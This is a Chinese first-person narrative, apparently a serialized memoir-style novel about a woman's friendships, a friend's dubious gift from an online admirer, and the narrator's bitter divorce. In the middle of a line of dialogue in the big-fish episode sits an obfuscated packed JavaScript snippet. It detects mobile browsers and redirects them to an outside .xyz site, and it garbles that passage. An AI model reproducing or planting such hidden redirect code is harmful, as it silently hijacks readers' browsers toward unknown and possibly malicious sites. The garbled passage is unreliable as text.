有时候,供应商请程云她们两口子吃饭,程云就把我带去。在饭桌上,程云就跟人家介绍我:“这是我闺蜜。”我心里很感动。一个人在外地,无亲无故,面临离异,有个这样对人真诚、厚道的好姐姐,真是我的福气。 程云回到老家的时候,我们经常视频。她跟我视频的时候,会在镜头里给我看看她老公。她老公自顾自地坐在角落里,摆弄着他新买的钓鱼的工具。 程云也约我去她老家玩。我一开始不太想去,毕竟家是人家的私人禁地。但是架不住程云几次三番的热情邀请。我真地就去了。我去她家的时候也不空着手儿,我会杀两只鸡,或是买上几斤乡村土猪肉,带到她家里,让她烧了我们一起吃。这一去就喜欢上了她家,一发不可收拾了。 程云的老家在乡下。一个小镇上。她家是上下近二百平的楼房,空间很大,出门就是天空和土地,周围是人家的菜地,地里种着鲜嫩的小青菜、小白菜,非常惹人喜爱。我常常来不及跟她说话,就一个人跑到地里去了。这里看看、那里走走。蹲在菜地里拍照片。 程云在他们厂里的办公室里,负责收货。小娅姐姐坐在程云对面的桌上,她会检验那些小五金。小娅姐姐年纪跟程云差不多大,也是靠近五十岁了。听说她的老公早年死了,撇下她跟她儿子。她后来又找了一个老公。她的儿子不争气,赌博,借贷,欠了很多外债,不敢回家,一个人流落在外。小娅姐姐的儿媳妇身怀有孕,却是一个重感情的人,她一个人独守在家,生下了她们的女儿。小娅姐姐帮忙带着这个幼小的孙女。小娅姐姐的后老公不堪重负,跟小娅姐姐离婚了。小娅姐姐现在也是独身一人。小娅姐姐打扮地很清爽,白色的衣衫,蓝色的牛仔裤,白色的鞋子,面子上看不出来比别人差。再加上她小小的个子,甜美温柔的脸蛋儿,看起来倒是比明艳的程云要亲切和蔼。 听程云说,每当程云买了一块手表或是首饰,跟小娅炫耀的时候,小娅总是表现地很不屑,嘴上说着:“哎呀,我都不爱戴首饰!”但是过不了几天,小娅也会戴一个同款的手表或是首饰来。小娅工资只有两三千,还要贴补她的儿子、儿媳妇,她哪来的钱。程云的意思是小娅在外面有男人。之前还有别人家的女人闹上她的门儿。 对于这些,我倒是不会嘲笑小娅姐姐。一个女人,没有多少收入,要在世上生存,而且想体面地生存,确实很难。而且,她又是单身,她可以谈恋爱,可以有她自己的感情生活。至于她是不是招惹了有钱的有妇之夫,从而靠人家周济生活,那是她自己的事。而我跟她只谈友谊,并不冲突。 我需要的是真诚和温暖,不是一个表面清高,内心冷漠,等着看我的笑话的道德模范。 中午,我们就回程云家做饭吃饭。我很爱吃程云家的饭菜。他老公经常不在家。他偶尔在家的时候,就主动要求给我们烧饭。 有一回,他给我们烧了一次酸菜鱼。先煮鱼头和鱼骨头,再煮鱼片。把鱼片捞出来,煮豆腐皮和酸菜。热锅炸香花椒油,端起锅把油浇在盛满鱼片的碗里。最后端上桌,再撒几粒葱花。我头一回见人家这样一道道工序地烧酸菜鱼。他做完酸菜鱼又做红烧肉。那时,我跟程云在客厅里坐着看电视,说着、笑着,老朱姐夫在厨房里“乒乓乒乓”地忙碌,锅盖子发出很大的声音。我跟程云听着、笑着,他一个人在里头忙碌着。 他跟我们一起吃饭,很快地扒拉几口,说一声:“你们慢吃!”然后起身儿就走了。我也乐得他不在。我跟程云好撒开了玩儿。 “姐夫烧地酸菜鱼真好吃。这是我这辈子吃过的最好吃、最好看的酸菜鱼了。”我说。 “好吃你就多吃一点。”程云笑着说。 “那是肯定的。我在你家吃饭从来都是吃撑吃胀。一点儿都不拘束。”我说,“姐夫烧地红烧肉也好看。” “姐夫说,红烧肉都给你带着。你不是爱吃红烧肉吗?”程云笑着说。 “那怎么好意思呢,姐夫费了那么大的功夫烧的。”我说。 “没事儿,你都带走。我们吃不了多少肉。烧一次都要吃好几天。”程云说。 “这次是我给你带的乡村土猪肉,肉质不一样。”我说,“人家都是排队去他家买呢。” “你姐夫说了,是不一样。”程云说。 “你们爱吃我下次再给你带。”我说。 “我还是爱吃你带的鸡。”程云笑着说,“煮出来的汤黄黄的,呱呱叫。” “姐夫爱喝鸡汤吗?”我问。 “他也爱喝。”程云说。 “那我下次再给你带,给你带两只。”我说,“姐夫蛮好的。” “他都快六十岁了,脾气大,倔的很,对外人很凶,不好说话。人家厂里的人都怕他,不敢跟他说话。”程云说。 “还是这种人好。这种人耿直,不油腻、不耍滑头。”我说。 “他这人就是心眼儿小,看我看地紧紧地,生怕我跟人家跑掉了。有人到厂里送货的时候,他就跑过去看着人家。我被搞地很尴尬,你知道吧?我都有心理阴影了。” “可能姐夫太爱你了,你比他小十岁,又那么漂亮,他是太害怕失去你了。平时都是他宠着你的吧。他做饭那么好吃。他肯定爱干家务。” 我说。 “他就是脾气不好。你说他爱做饭吧?他是爱干活儿啊。他边干边说。炒着说着。特别烦。我宁愿他不要干。”程云说。 “我就是那种人。”我笑着说,“这种人憋不住话儿,有啥说啥,不会跟你玩阴的。我看姐夫也就是嘴巴上厉害。他其实是太在乎你了。” “没有这样做事儿的。管地太严了。一点自由都没有。我都不能出去玩儿。”她说。 我说:“要什么自由啊。我还羡慕你呢,我巴不得跟你一样,有个在乎自己的老公,什么事儿都一起去,出去玩儿也一起去呢。” “难找的。”程云说我。 “是的。”我说。 “到了这个年纪,跟你年龄相当的男人,都结婚了。要是还是单身的话,要么是条件不好,要么是离婚了还带着个孩子。你又不像我们,你自己有文化,还得找个有文化的。”她说。 “也不一定非要有什么文化。我之前找的可是一个文化人,现在还不是闹离婚了嘛。我现在对老师、编辑、公务员这一类人并不感兴趣了。我觉得这群人有些假惺惺,装模作样地,说起来体面,其实并不好相处。相反的,我喜欢那些有技术的科技型的人才。”我说。 “年纪大点的你也不要。”程云说。 “我找了个比我大七岁的,又怎么样呢?凭着他比我老,就处处压制我。老奸巨猾。我再也不找年纪大的了。我还要找个比我年轻的呢。” 中午,我就在程云办公室里,用她的躺椅睡觉。我发现,每次在她办公室的躺椅上,我都能踏踏实实地睡个好觉。 日子就这样一天天地耗下去。有一天,我路过程云租住的小房间门口的时候,看到她没有开门。就想跑去逗逗她。 我停下自行车,跑到她门口儿,冲着她的屋里喊一声:“程云!” 她用带着哭腔的鼻音应我一声:“我老公在呢。” 我说:“噢!”然后我就走了。我知道,她们可能吵架了。 果然,过了不久,程云告诉我,她们吵架了。 “因为是‘母亲节’,小洋给我发了一条信息:‘妈妈,母亲节快乐!’我给他发了五百块钱的红包,被你姐夫看见了。你姐夫就生气了。”程云说。 我说:“洋洋没有妈妈了,还不是因为老朱。老朱要是有心,都应该给他补偿的。你给洋洋发个红包,他还生气了。” 程云说:“他就那样,以前把洋洋接过来过几天,你姐夫就说,看见朱江吃鸡腿,他就开心,看见洋洋吃鸡腿,他就生气。” 我说:“姐夫怎么能这样啊。对了,你那个前任不是恨你吗?你怎么做到让他答应把洋洋送过来的?” 程云说:“一开始,我那个婆老太也是不答应。因为我太想孩子了,你姐夫花了二百多块钱的话费,一直跟他们打电话,她们才同意,把洋洋送过来过几天。再说,我前夫也娶了老婆,也不怎么在乎这个孩子了。都是跟着他爷爷奶奶。” 我说:“洋洋现在怎么样了,他在哪里上班啊?” “他到处瞎混,没有正经工作,连个女朋友也没有。没有钱,没有工作,谁跟他?”程云说。 我说:“也确实是不争气。” “是的。”程云说,“他还动不动话里话外地怪我,说都是因为我把他抛弃了。” 我说:“越是这样,越是要争气啊。要为自己负责啊。人家有的孤儿,爹死娘改嫁的,还不是照样考大学吗。” “是的啊。”程云说,“我倒是希望他不管怎样,能把自己过好,就算他再怎么恨我,只要他自己有本事,我都开心。” “他还没有老婆,他爸爸能花钱给他娶老婆吗?”我问。 “谁知道啊,他爸爸的钱,他后妈不管着啊。我想好了,等他结婚的时候,我给他十万块钱。”程云说。 “你是怎么攒的钱啊,姐夫不知道啊?”我问程云。 “这么多年,就这样攒的。他又不知道。我就说我买衣服了,买首饰了。”程云说。 “我看你平时也蛮能花钱的。你居然还能攒下钱来。”我说。 “我的一个扎头发的头花,都要七八百。”程云笑着说。 “姐夫也不管?”我说。 “他才不管!” “你上次去那家 ‘美胸皇后’,女老板把那些短的、长的收腹内衣拿给你试,你最后全拿上了,一次就花了两三千。”我说,“我可舍不得。我买一个文胸都不会超过五十块钱。” “我这人就是爱打扮。”程云笑着说,“女人嘛,就是要舍得为自己花钱。” 3.金镶玉的假镯子 程云很会打扮,虽然五十岁了,但是衣着光鲜,妆容精致,经常两鬓各扎一个小麻花辫,看起来只有三十出头,看起来比我年轻也比我时髦。 一次,程云跟我说,一个网友给她一个金镶玉的手镯。她拿给我看。那手镯沉甸甸的,是黄色的金珠和红色的玉石间隔串成的。 我问她:“这个镯子有多少钱啊?” 她说:“六千多吧。” 我说:“他是怎么给你的啊?” 她说:“寄过来的。” 我问她:“你告诉她你的地址了啊?” 她说:“没有。我只告诉她我厂里的地址,他就给我寄过来了。” 我说:“不是假的吧?” 她说:“不知道,不过有发票呢。你看看。” 我看了看那发票,果然是跟真的一模一样。 程云说:“他这么在乎我,我真的动心了。人家根本没有跟我见过面,就给我花了六千块钱。” 我说:“姐夫没给你买过啊?” 她说:“他哪里给我买过。” 我说:“那你戴的这些项链、手链不是他买的啊?” 她说:“哪里是他买的,都是我自己买的。他从来不管。” 我说:“那姐夫赚的钱也是花在你身上了啊。” 她说:“他哪里花在我身上了,顶多花在朱江身上了。我自己有工资,我又不用他管。我还负责朱江每个月的生活费呢。” 我说:“那也比外面的男人好。你们老夫老妻,知根知底的。那个男人是干什么的啊?” 她说:“是销售。” 我说:“他家里有老婆孩子吧。” 她说:“有,但是他跟他老婆感情不好。” 我说:“那些出轨的男人都这样说。你不要相信他的鬼话,他赚的钱还不是花在他老婆孩子身上啊。你跟姐夫多少年的感情了。姐夫花在家庭上的钱何止六千啊。朱江要是买房子结婚,他六十万都会花的。那个男人会出一分钱吗?” 程云说:“他说了,一年给我花一万,一年见几次面就行。” 我说:“他这是想破坏你的家庭,你可不能这样胡来啊。他算什么东西啊。一个销售,花花肠子多的很。他能跟你这样,也会跟别人这样,你不嫌他脏啊。” 程云说:“人家对我好啊。我今天跟你说,我也不怕你笑话。我其实就是想告诉你,如果哪天我要跟他见面,我就说我来你这里了。” 我的天。原来程云真地有这个打算。 我说:“我真地不敢,姐夫要是知道了,不把我砍了啊。你不要一时糊涂。世上没有不透风的墙。你想想你的那些姑子,她们要是知道了这件事儿,你的脸往哪儿搁。再说了,等你老了,颤颤巍巍地走不动了,谁还会搞那些破事儿,谁还会在乎那些破事儿。那时候,叶落归根,你还不是要靠姐夫和朱江啊。你要是这样做了,他们这辈子都会瞧不起你的。” 她说:“好吧。” 我说:“那你这个手镯怎么办?可不能被姐夫看见了。你要不就退给那个男的吧。” 程云说:“我才不退给他呢。我又没让他买。” 我说:“那人家也花了钱了啊。” 程云说:“花了钱活该。管我什么事。” 我说:“嗯,也是。这种人太坏了。这种狼心狗肺的东西,就得这样治治他,让他长长记性。那他如果来找你后账怎么办?” 程云说:“他敢!再说,他又不知道我的地址。” 我说:“那好吧。你可不要胡来啊。” 她说:“好的。” 过了一段时间,我跟程云视频。发现她就戴着那个镯子。 我说:“姐夫在家吗?” 她说:“不在。” 我说:“你不怕姐夫看见问你啊?” 她说:“他才不问我呢。” 我说:“你戴着那个人买的镯子,是不是说明你喜欢他啊。” 程云:“我对男人说不上喜欢不喜欢。对我好就行。” 我说:“我不行。我要是喜欢一个男人,他不给我花钱我都喜欢。我要是不喜欢这个男的,我连他的钱我都不喜欢。对我好也不行。” 程云说:“我们跟你不一样,哪个男人要是追我,我得先弄点东西吃吃,弄套衣服穿穿。他要是想跟我上床,那得给我买金器才行。” 我说:“我不行,我得分自己喜欢和不喜欢。” 程云说:“男人嘛,都一样的。” 我说:“哪里一样了。有的看了都让人恶心,反胃,根本下不了口。” 程云笑着说:“你就是喜欢个子高高的,身材挺拔的。” 我说:“是的,我有点颜值控。我喜欢清清爽爽的。我不喜欢歪瓜裂枣的,更不喜欢油腻的。对了,你那个镯子,你怎么敢戴的?” 她笑着说:“那个镯子是假的。” 我说:“啊?你是怎么知道的?” 她说:“我让人家金店里的人看了,人家说是假的,连发票都是假的。” 我说:“你看看,外面的男人多坏啊!你幸好没有上当。太坏了!真恶心!还是姐夫好。” 4.一条十四斤的大鱼,送给人家夫妻俩了 一天,程云给我打电话:“我给你带了一条十四斤的鱼,你下来拿!不要给别人吃啊!”我下去一看,妈呀,跟小猪似的一头鱼!放在一个化肥袋子里。我把它提回家,放在洗碗池里。那头鱼太大,嘴巴一张,有我的拳头那么大,仿佛要吃我一样,我有点不敢杀。可是,我不杀,他又不管不问。他不敢杀鸟,不敢杀鸡,不敢杀鱼。他怕血腥。何况,我们正在闹离婚,我们的感情也不好。我也不敢让他做什么事情。 我拿着菜刀,小心翼翼地试着走近那条鱼,那鱼大嘴一张,我吓地“啊”地一声,跳开了。他在小房间听到了,走到客厅里,看见了那条鱼。 “把它扔了!”他愤愤地说。 “怎么能扔呢,那是人家程云的一片心!不行送给你发小吧。”我说。 “我发小跟他老婆,你现在跟他们混地比我还熟嘛。”他说。 “我不是想请人家来劝说你的嘛。”我说,“人家两口子通情达理,对我也蛮好的。” “人家孩子可是高中生,明天还要上学呢。你给人家,人家有时间杀吗?”他说。 “孩子上学,他们两口子可以杀呀。”我说。 他发小夫妻两个来了,还带了一个西瓜。 “明天晚上,你们去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137805|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们那里赴大鱼宴。”他发小说。 第二天晚上,我们下了班。就去了他发小那里。 “我们两个人昨天在楼下忙到半夜!”他们喜气洋洋地说。 “我们两个一起在楼下忙了几个小时,把鱼头剁了,做鱼头汤。把鱼肉片片,做酸菜鱼。把鱼骨头剁剁,做鱼汤火锅。鱼肉太多,一次吃不完,我们就分成一小袋,一小袋,整整齐齐地全码在冰箱里。”女主人说着,推开冰箱门,给我们看。她们宴请的,还有她的二小叔子。他们用两张桌子搭的宴席,上面摆满了一大盆辣椒鱼片,和各种各样的菜肴! 我吃地还很过瘾。那段时间,尽管痛苦,哭得厉害,但是我还是能吃能睡。工作状态也不错。本来就是啊,当你回过头再看看当时的自己的时候,你才知道,我那时候为什么那么傻?我为什么要那么难过,我难过个毛线啊? 我吃地开心,但是我也羡慕人家夫妻。 什么是夫妻同心,其利断金。这就是最好的说明。人家夫妻俩,男人是男人,女人是女人。杀鱼、剁鱼头这种事,肯定是男的做的。女人肯定是帮着他。人家夫妻怎么就合作地那么好,把这头大鱼利用地漂漂亮亮,吃地干干净净!而我跟他,做不到!做不动! 我虽然嘴里吃地香甜,胃里吃地饱暖,但是我心里是寒的。 我知道,我跟他连一条鱼都弄不好,还谈什么过日子。 没有男人帮助,我没敢去杀那条鱼。如果我有一个能干的男人,我又何尝不可以配合他,夫唱妇随,一起说着笑着,连夜赶着收拾一条鱼呢? 我知道,人家心里有光,有一团火,可以照亮他们一家子的生活。而我跟他,没有。 他那时是我的光,没有他,我的心里就昏暗了。他心里也有光,那是股神之光,照亮的是他自己。他痴迷地夹着他疲软的大辣椒,朝着他的股神之光奔去,他奔跑地太疯狂,把我心里的火亮给扑灭了。 我的一个同事春霞,她为人很温和,我就约了她把我的事情跟她说。我们约在一个空荡的会议室里见面。 “你赶紧离婚!别拖了!越拖对你越不好!你赶紧离婚,买房子,女人,一定要独立!”她跟我说。 “你结婚的时候,我们都不知道。也没来得及跟你说。他之前的很多同事都知道。他之前有一个女朋友,他搂着睡了两年,人家还是处女。你说一个正常的男人,怎么受得了的。”春霞说。 “他的前女友我是知道的。跟我一样大,都是属老鼠的,都比他小七岁。他也跟我说过她还是处女的事儿,但他说的是他是出于想保护她,所以他就没动她。她后来嫁人了也生了孩子了。”我说。 “这种人!跟过他的女人都这样,跟他的时候总是冰清玉洁,一无所出,一旦跟了别人,就很快开枝散叶、绵延子嗣了。”春霞说。 那阵子,他的发小的老婆经常做好了饭喊我去,我就去她租房子的小区。我在离婚的边缘,惶惶如丧家之犬,四处逃窜。 他发小的老婆说:“他就是煮熟的鸭子嘴硬,其实他是爱你的。” 我说:“我没有感受到他一点点的爱意。我连说句话都不行,一跟他讲理,他就跟我吵架。” 她说:“男人不想听你说话,不是你说地不对,而是你说地太对。”是吗?我也觉得我没有说错,我也觉得她这句话说的太对。 冬天的时候,我晚上没什么事,就又骑着自行车去李霞家里找她玩。 “你的事我蛮为你着急的,我到处给你打听,比我自己的事还上心。要是有合适的,你就去看看吧。”李霞跟我说。 “谢谢你!霞姐!我一个外地的,不是你给我介绍。我自己上哪儿找去。就是我有点儿挑。我怕不合适。白让你费心。你知道,这个年纪还没结婚的,各有各的缺点。”我说。 “人家介绍了,你就去看看呗。反正闲着也是闲着。合适不合适,看看才知道。”李霞跟我说。 “好的,霞姐。真谢谢你。”我说。 “你今天这件大衣蛮好看的。你以后相亲就穿这件衣服去。”李霞站在我对面,笑着帮我理着我的衣服说。 “我买衣服就是这样,喜欢有点设计感的。”我说。 “我跟你不一样,我上了年纪了,就喜欢简简单单的。”她说。 跟李霞说说话,我就骑车回家了。一进小区,就看见小房间里,透出昏黄的灯光。他是又在炒股,又在跟什么助理、伊雯之类的女人聊天吧。我收拾东西,准备睡觉。 过了一会儿,“呱嗒呱嗒”地拖鞋声响起,他蹭着地板走出来了。 “你明天下午有事吗?我请个假,我们去把手续办了。”他说。 我又跑到房间里哭了。我打电话给李霞:“他要跟我离婚!我怎么办?啊——”我说完就扶着马桶大哭了起来。 李霞在电话那头听着我哭,她也没有办法,只好劝我说:“你别哭。你哭什么?他这样的,主动跟你离婚是好事。人家有的男人自己不行不能生,还拖着不跟老婆离婚呢。早离了早好!你有什么好哭的?”她说。 “我心里难过,不能哭吗?!”我大声说。然后又“啊——”地哭了。 “好,你哭吧!哭吧!”她看在我放声大哭、失去理智的份儿上,对我的语气温和了下来。 5.离婚,真的没有那么可怕 第二天下午,我还在上班。他的电话打来了,我拿着手机,躲在角落里哭,不敢接。他一连打了六七个。我实在躲不过去,就去了民政局。 我从进了民政局就开始哭。到了二楼的楼道里,我哭着跟他说:“老公,我们别离婚了好吗?”他看看我,不理我,径直去了二楼婚姻登记处。我哭着看他去领离婚协议,哭着看他写东西。该我写了,我不写,当着众人的面,掉着眼泪走了。 我骑车回到家里,他也骑着摩托车追了过去。一到家,他就大发雷霆。 “妈的!老子今天特意请了假,被你给浪费了!我的假白请了!”他把一沓子纸撕了,扔在地上。 我坐着哭。就是不去。 “我打电话你不接,你再不接,我差点去你单位!”他看看手腕,他的时间快到了,要去上班了。 “明天下午,我再请假,你要是不去,我就去你单位找你!”他气呼呼地出门,骑上摩托车走了。 每次冷战,他都要离婚。每次他一说离婚,我就痛断肝肠,把自己哭成了“梅雨天”。我睡觉哭,吃饭哭,早上起来哭。他看得见,却熟视无睹。他一点都不可怜我,我也一点都打动不了他。 我常说自己是性情中人,我爱笑,也爱哭。 性情,性情,到他这里,我才咂摸出来“性情”二字的味道。 一个男人,他连“性”都没有了,他哪里还有“情”。有没有人见识过阳痿男人的?没根儿的东西太毒了!那根儿烂了的东西同样也是很毒的! 阉竖!我呸! 第二天,我们去民政局,拍照,离婚。 “这个离婚证还有用吗?”我问那个坐着的老娘们儿。 “这个不好说,你们自己拿着,自己看着办。”那个坐着的女人说。 她也没告诉我,这本离婚证,以后结婚的时候居然还要用! 以我的个性,如果不是以后有用,我为什么要保留这么晦气的东西。那个民政局的女人怎么可能不知道以后结婚的时候要用,她居然没跟我讲清楚!差点耽误了我后来的新婚大事! 混账! 我后来结婚的时候再去翻找这个破东西,差点儿没找到。我当时恨死了,这个死阳痿,在我新婚的时候还要再来害我一次。差点给我的新婚增添一抹晦气的味道!恶心!该死!幸好后来找到了,我一登记完,就把这个破玩意儿给撕掉,扔进了垃圾桶里。 离婚了!心情居然是无比的轻松!跟一个阳痿的男人耗着,有意思吗?以后怎么办,以后再说吧。我爱哭,我也爱茫然无措。可我的心里始终有光。我骑着自行车走在民政局附近的路上,离婚了,如果他要跟我复婚,我还愿意吗?不愿意!那种罪,我受够了。我的心情平静而又轻松。 “程云,我离婚了,嘻嘻!”我的心情不知道是喜是悲。至少是轻松吧。她在电话里也笑了。 “我的首饰也不想要了。”我说。 “你的东西,你怎么不要的,你应该要!”程云说。 我那时候傻。 “我真不想要,我自己会买。我以后的老公会给我买的!”我说。 “你个夯货!你把你的首饰拿着,那是你的。你自己不戴,给我戴戴也好啊。”程云说。 “那要不,我去看看去?”我说。 “你去看看吧。你之前不拿,现在离婚了,又去找。你肯定拿不到了,他肯定不会给你了。”程云说。 “不会吧。”我说。 我到了他家里,来到卧室里我放首饰的那个抽屉里一看,我的那几件他以旧换新换来的首饰真地没有了。一个小小的跟谷粒似的钻戒,一个细细疏疏的黄金手链,一个六百块钱的铂金的项链,全都没有了。 “我的首饰呢?”我问他。 “我放到车库了,不给你了。”他说。 “我的东西你为什么不给我?” “我们已经离婚了,我留着给我以后的老婆。”他说。 好吧,他不给我,我没办法。是的,他这种人,我对他没办法。是的,有的男人,女人是对他没办法。所以才会离婚,因为过不下去嘛。 不给就不给吧,我本来就没想要。那时候,我很自信,我觉得我自己有钱,我再找的老公也不会差钱。我不稀罕他那个本来就是以旧换新置换来的破玩意儿。我那时候还不知道,其实把我该有的首饰卖掉,买点零食跟我的新欢一起吃吃,也挺好。我跟那个死阳痿一场,都亏死了。临了了,连个本属于自己的首饰都拿不到,真是亏死了。 真的,离婚真地没有那么可怕。本来设想好的痛不欲生根本就没有。离婚不就是一张纸吗?离婚也不会脱一层皮。婚姻是身外之物。尤其是没有孩子的时候。它不影响你吃,也不影响你喝。 跟一个败坏你的人尽早离婚,其实是你的福气和运气。 你的宝贵的生命不该耗在一个本身那么烂对你也很烂的人身上。真的不值得。 所以,该离婚的话,大胆地去离婚吧。不要怕。离婚以后照样活得成,真的。而且,高质量的单身生活,真的比半死不活的婚姻要好的多的多。 我开始打电话给吴编辑,我要找她老婆,他老婆做房产中介。我一有空,她就带着我去看房子。冬天了,她骑电动车带着我,到处跑,刮风下雨的时候,我们俩的头发都被打湿了。有时候我去看房子看地久了,晚饭的时候,他烧好了鱼等我回去吃饭。我迟迟不回去,他还给我打电话。说实话,那时候,我对他的电话已经不动心了。 没用多久,我就看上了一个心仪的房子,八九十平方,我弟弟把他手里的十万块钱暂时借给我了。等我办好了贷款,又如数把十万块钱还给了他。 我还没有房子,暂时住在他家。过年的时候,他还需要我跟他一起回老家,给他装门面。我们都没跟他父母说我们离婚这件事。 年后,房子就过户了。我给自己办了一个新的户口本,我就是房子唯一的主人。 我的房子买好了,我又买了新的公主床和沙发,布置地很温馨,因为我一个人住,我怕我孤苦。所以一定要布置地温馨漂亮。 四月份的时候,他开始催我了: “你房子还没买好吗,还不该搬走吗?”我就打车把我的大件的大包、小包搬回了我的家。其他的,我用自行车,把打包好的大行李袋子放在自行车篮子里,一趟趟地,带到我自己的家里。 我住进自己的新家了。起初,有点不适应。下班了,想着原来的路,还是会哭。但是回不去了。他不让我回去,我自己也可以控制住我自己了。 我请了几个玩地好的来我家里吃饭。程云当然来过。帮我买房子的那个嫂子一家三口儿也来过。他发小的老婆也来过。 她的发小的老婆来到我的新房说:“哇,你弄地好漂亮,怪不得你跟他过不到一起去。是有原因的!我真地挺羡慕你的,你有自己的房子了。” 我说:“有什么好羡慕的?只是一个小房子,又不是家,有什么用。我对这个房子一点都没有感情。” “那是因为你还没有住进来,等你住进来一个月,你就会对它有感情了。”她说。 我买了房子以后,邀请春霞来我家里做客。春霞来了,还买了一大袋子桃子和一大串葡萄。我们一起做饭吃饭,我主厨,她在厨房里帮我剥葱。 我说:“霞姐,我手艺不好,你就凑合着吃。” 春霞说:“没事儿的。我也不会做饭。” 我说:“你儿子都会做饭呢,你看你在朋友圈发的,他炒菜炒地多好。” 春霞说:“那是他爸爸跟他一起合作完成的。” 我说:“你看你家庭和和美美的,多好,我真羡慕你。” 春霞说:“家家有本难念的经,你不要看人家表面风风光光的,其实都有见不得人的地方。我以前跟我老公也闹过离婚,也是闹地满城风雨。我们组的老夏还故意说风凉话,‘你看你,工作忙地也好,家庭忙地也好’。” 我说:“老夏还是什么大师呢,她说话怎么这么尖酸,明知道你正在闹离婚,还非要说你家庭忙地也好。” 春霞说:“所以她也就在《小坛》混混,她走不出去。真正的大师都很大气。” 我说:“你看,谁是傻子?谁心里不是清清楚楚的。老夏虽然是你的上级,但是她说话做事刻薄小气,你还不是照样瞧不起她。一个所谓的大师被下级小辈瞧不起,这才跌份儿呢。” 春霞说:“大家都是表面上和和美美的,其实内里也都是千疮百孔。杨薇去做美容的时候,经常跟人家美容师诉苦。要不是因为孩子,她早就不跟郭浩过了。” 我说:“你是说郭主任吗?” 春霞说:“是啊。” 我说:“郭主任怎么了?” 她说:“郭浩跟小姑娘搞在一起,你不知道啊?” 我说:“我不知道。我以前跟他一起值班过。没发觉什么。不过那时候,就有人跟我说,郭浩很帅,很多女孩子喜欢他。我怎么一点都不觉得他帅的?长得跟个小日本儿似的。头发油油的,跟个公鸡尾巴似的。都有孩子了,天天擦屎把尿的,一股子家庭妇男的味道,还帅。” 春霞笑着说:“那些小姑娘只觉得他有魅力,哪里知道这些。” 我说:“小姑娘嘛,单纯的很。我上学的时候,也喜欢比我年长的男老师。觉得老师风趣幽默,学识渊博。现在就不会了,我现在根本就不会再去崇拜谁了。包括那些学者专家,还不都是凡夫俗子嘛。” 春霞笑着说:“所以说小姑娘单纯啊。单纯,看世界才美好啊。像我们这样的中年妇女,什么都看透了。也就没什么意思了。” 我说:“我们这些中年妇女的眼光,跟那些小姑娘的眼光真的不一样。我听说,那些小姑娘都特别喜欢董天辰,我真地看不出来他好在哪里,到底有什么魅力。可是那些小姑娘就是喜欢他。” 春霞笑着说:“董天辰还没有结婚吧,他也老大不小了。咱们单位好几个大龄青年还没有结婚呢。清灵也没有结婚。你看清灵怎么样?” 我说:“我一个二婚的。人家看不上我。而且,同事之间,表面上看起来什么都好,等真正走进生活,一地鸡毛的时候,未必还能处地好。最后弄个不欢而散,还在一个单位里,天天抬头不见低头见的,尴尬死了。” 春霞说:“听说,清灵常去相亲的。给他介绍的热心阿姨也不少,他眼光还蛮高的,很挑剔。有时候人家晚到一点,他就不高兴了。” 我说:“他一个编辑,自己有文化,家庭条件也不差,他想找个对象应该不难。他不结婚还是因为他太挑剔。《小坛》的人总是诋毁他,造谣他,说他心理有问题,是同性恋。” 春霞说:“有人还喜欢清灵呢!《小坛》对面不是开了一家花店吗,那家花店的老板娘,也老大不小了,也是挑挑剔剔的。她自己没什么文化,可是还非要找清灵这样的。你说,清灵能看得上她吗?” 我说:“有文化的也不一定非要找有文化的啊。说不定他们两个就很般配呢。” 春霞说:“有人给他们介绍过。清灵看不上她。你还别说,婚姻也是求仁得仁哈。后来,那姑娘找了一个有知识有文化的男人结婚了。” 我说:“我也发现了,婚姻就是求仁得仁。你喜欢钱,最后就会找个有钱的。你喜欢长得好看的,最后就会找个长得好看的。” 春霞说:“你喜欢什么样的?” 我说:“我现在想找个年轻的,又长得好看的。不是那种油头粉面的好看,是心地很干净的那种好看。” 春霞说:“你想找个九零后?” 我说:“是的。八零后都结婚了,有孩子了,拖家带口的,我受不了。我要找个清清爽爽干干净净的。有钱没钱无所谓。我可以养活自己。甚至还可以养他。” 春霞笑着说:“那你其实还蛮自信的。我要是离婚了,我也想找个小的,但是我没那个自信,我怕我吼不住。” 我说:“有什么吼不住的,现在不都流行姐弟恋嘛。人年轻的时候,想找个大叔,年纪大了,知道了年轻的好,就想找个比自己小的了。青春才是无价的。人家都说找个比你大的会心疼你,其实未必。你要是找个八十的,他得天天倚老卖老,让你伺候他。越是年龄大的越是老奸巨猾,才恶心呢!” 春霞笑着说:“是的。你还可以。我不行了,我都四十多了。” 我说:“你也年轻的。” 她说:“我不行了,我脸上都有皱纹了。你看起来还跟小姑娘一样。” 我说:“霞姐,我跟你说实在的哈,我现在减肥,不怎么敢吃东西。你买的那些桃子都带回去吧。我一个人真地吃不了那么多。我也不爱吃桃子。放在我这儿别坏了,浪费。” 春霞说:“那好吧。回头我把桃子带走。” 32. 老栾抓我的手 1.《说书人》 杨编辑说:“社里要组织一次市级的讲座?你们谁愿意报名啊?” 潘编辑说:“我去年参加过好几次了,我今年不想参加了。我没时间准备。” “那大省呢?你报名吗?”杨编辑问我。 “那好吧。”我说。 “你看看你打算讲什么?我先把题目报上去。”杨编辑说。 “我就报《说书人》行吗?一篇小说。”我说。 “行的。”杨编辑说,“那你接下来要好好准备了。回头组里再给你把把关。” “好的。”我说。 讲座是要不走寻常路,讲出深度,讲出花样来的,该怎么设计自己的思路呢? 我在办公室里独自研究了好几个晚上。书读百遍,其义自见。我相信这一点。一遍看完,再看一遍,边读文章边领悟,边思索。看多了,作者的文脉,书里的人物,你仿佛都了如指掌了。 我在办公室里独自呆了几个晚上以后,终于想到了自己的思路,给说书人画像。 杨编辑说:“如果是我讲这篇文章,我会先问大家,读了这篇文章以后,有哪些感想,大家会说,悲伤。那我就问大家,从哪些地方看出来悲伤。以此引出对这篇文章的解读。我知道,这样的思路,你肯定不喜欢。” 我笑笑说:“我觉得有些平淡,我喜欢不走平常路。” 